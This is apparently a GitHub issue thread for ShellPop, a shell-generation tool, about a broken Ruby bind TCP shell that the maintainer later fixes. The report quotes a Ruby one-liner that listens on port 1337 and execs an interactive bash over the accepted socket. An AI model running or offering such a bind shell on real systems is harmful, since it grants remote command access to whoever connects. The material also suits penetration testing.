0x00-0x00 / ShellPop

Pop shells like a master.
MIT License
1.44k stars 235 forks source link

Bind TCP Ruby shell is broken #26

Closed capnspacehook closed 6 years ago

capnspacehook commented 6 years ago

As I was going though all the bind shells testing for an upcoming PR, I noticed that I could not get the linux/bind/tcp/ruby shell to work. Every time I ran it I got this error from sh:

ruby -rsocket -e 'f=TCPServer.new(1337);s=f.accept;exec sprintf("/bin/bash -i <&%d >&%d 2>&%d",s,s,s)'
sh: 1: 8: Bad file descriptor

From the looks of it, I'm guessing bash doesn't like f.accept as a file descriptor, but not sure how to fix that. My ruby knowledge is very little.

0x00-0x00 commented 6 years ago

Thanks for raising this Issue!

I have studied the problem and indeed found that this bind shell was not working properly. I already commited the fixes to the main branch.

I tested it a few times and it works fine now, at least in my computer. If you wish to test it yourself, feel yourself free to do so.

Again, thanks for aiding me with shellpop development!

0x00-0x00 commented 6 years ago

Commit fix is in 777b17c

capnspacehook commented 6 years ago

No problem! Thanks for looking into it so quickly!